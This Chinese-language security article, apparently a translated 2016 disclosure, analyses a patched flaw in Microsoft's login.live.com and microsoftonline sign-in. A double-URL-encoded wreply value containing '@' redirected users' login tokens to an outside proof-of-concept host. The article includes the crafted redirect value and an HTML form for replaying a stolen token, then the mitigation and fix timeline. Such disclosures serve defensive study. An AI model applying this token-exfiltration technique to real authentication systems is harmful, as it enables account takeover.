微软最新账户身份验证漏洞分析

发布时间:2016-05-04浏览次数:356

英国安全顾问Jack Whitton在微软的身份验证系统中发现了一个重要漏洞,攻击者可访问用户的Outlook、Azure和Office账户,为此微软支付了1.3万美元奖金。

该漏洞与Wesley Wineberg发现的“OAuth CSRF in Live.com”漏洞类似,唯一的不同在于该漏洞影响的是微软的主身份验证系统,而不是OAuth保护机制。

微软在多个域(*.outlook.com, 、*.live.com等)中提供不同的服务,并且通过向login.live.com、login.microsoftonline.com和login.windows.net发送请求来解决跨服务的身份验证,为用户建立会话。

outlook.office.com的流程如下:

1、用户浏览https://outlook.office.com

2、用户被重定向到https://login.microsoftonline.com/login.srf?wa=wsignin1.0&rpsnv=4&wreply=https%3a%2f%2foutlook.office.com%2fowa%2f&id=260563

3、用户登录,POST请求发回给wreply值,其中的t表单字段中包含用户的登录令牌:

 

<html>

    <head>

        <noscript>java scriptrequired to sign in</noscript>

       <title>Continue</title>

        <scripttype="text/java script">

function OnBack(){}functionDoSubmit(){var subt=false;if(!subt){subt=true;document.fmHF.submit();}}

        </script>

    </head>

    <bodyonload="java script:DoSubmit();">

       <form name="fmHF"id="fmHF"action="https://outlook.office.com/owa/?wa=wsignin1.0"method="post" target="_self">

        <input type="hidden"name="t" id="t" value="EgABAgMAAAAEgAAAA...">

        </form>

    </body>

</html>

 

4、该服务使用该令牌,用户成功登录。

当该服务托管在完全独立的域中时,cookie不能使用,那么令牌成为用户登录的唯一凭证。这同OAuth的工作机制类似。

这意味着,一旦攻击者获取以上代码,并将t值发回其控制的服务器,就可以冒充合法用户。

研究人员尝试将wreply值更改为非Microsoft域,如example.com,会收到一个错误,并且该请求不会被处理:

login-3.png

URL编码和URL解析

研究人员在多次研究URL编码参数时偶然发现,该方法可以绕过不同的过滤器,而这却是该身份验证漏洞的根源。

在这种情况下,wreply在域通过检查前是URL解码的,因此,https%3a%2f%2foutlook.office.com%2f等同于https://outlook.office.com/,是有效的,请求通过。

<form name="fmHF" id="fmHF"action="https://outlook.office.com/?wa=wsignin1.0"method="post" target="_self">

有趣的是,当传递https%3a%2f%2foutlook.office.com%252f的值时会抛出错误,因此https://outlook.office.com%2f不是有效的URL。

但是,如果在URL末尾附加@example.com就不会产生错误,而是显示如下有效的URL:

<form name="fmHF" id="fmHF"action="https://outlook.office.com%2f@example.com/?wa=wsignin1.0" method="post"target="_self">

至于为何上述URL有效,请看URL语法:

scheme:[//[user:password@]host[:port]][/]path[?query][#fragment]

由此可以看出服务器端会执行两项验证:

1、第一个是URL的完整性检查,确定是否有效,也就是说,服务器会默认outlook.office.com%2f为URL的用户名部分;

2、第二个检查域名是否被允许使用,该检查会失败——example.com不允许使用。

但是大家都知道,服务器会一直解密wreply,直到其中没有编码的字符,然后再验证该域。这是之前就已经发现过的问题:URLparsing issue #1

现在我们就可以指定任意URL请求令牌,将重定向设置为https%3a%2f%2foutlook.office.com%252f@poc-ssl.fin1te.net%2fmicrosoft%2f%3f,其结果为:

<form name="fmHF" id="fmHF"action="https://outlook.office.com%2f@poc-ssl.fin1te.net/microsoft/?&wa=wsignin1.0"method="post" target="_self">

这会导致服务器返回令牌:

login-4.png

然后简单地重放该令牌:

 

<formaction="https://outlook.office.com/owa/?wa=wsignin1.0" method="post">

    <inputname="t" value="EgABAgMAAAAEgAAAAwAB...">

    <inputtype="submit">

</form>

 

之后就得到了该用户账户的完全访问权限:

login-2.png

注:在该过程中获取的令牌只在其对应的服务中有效,例如,Outlook令牌不能用于Azure服务中。但是,使用该方法就可以轻易地创建多个内联框架,设置指向不同服务的登录URL,获取令牌。

其实这是一个跨站请求伪造漏洞,尽管有时这类漏洞的利用率并不像其他漏洞那么高,但是在身份验证系统中时影响还是十分广泛的。

缓解

wreply中的主机名限制为必须以%2f结尾,也就是解码后的‘/’。这就确保了浏览器只会将请求发送到目标主机。

时间轴

2016年1月24日,周日——漏洞发布

2016年1月24日,周日——漏洞确认并修复

2016年1月26日,周二——漏洞补丁发布

访问数量
78082021年11月26日
  • 微信
  • qq
  • 新浪微博
  • 腾讯微博
  • 掌上官微
    长按二维码,关注我们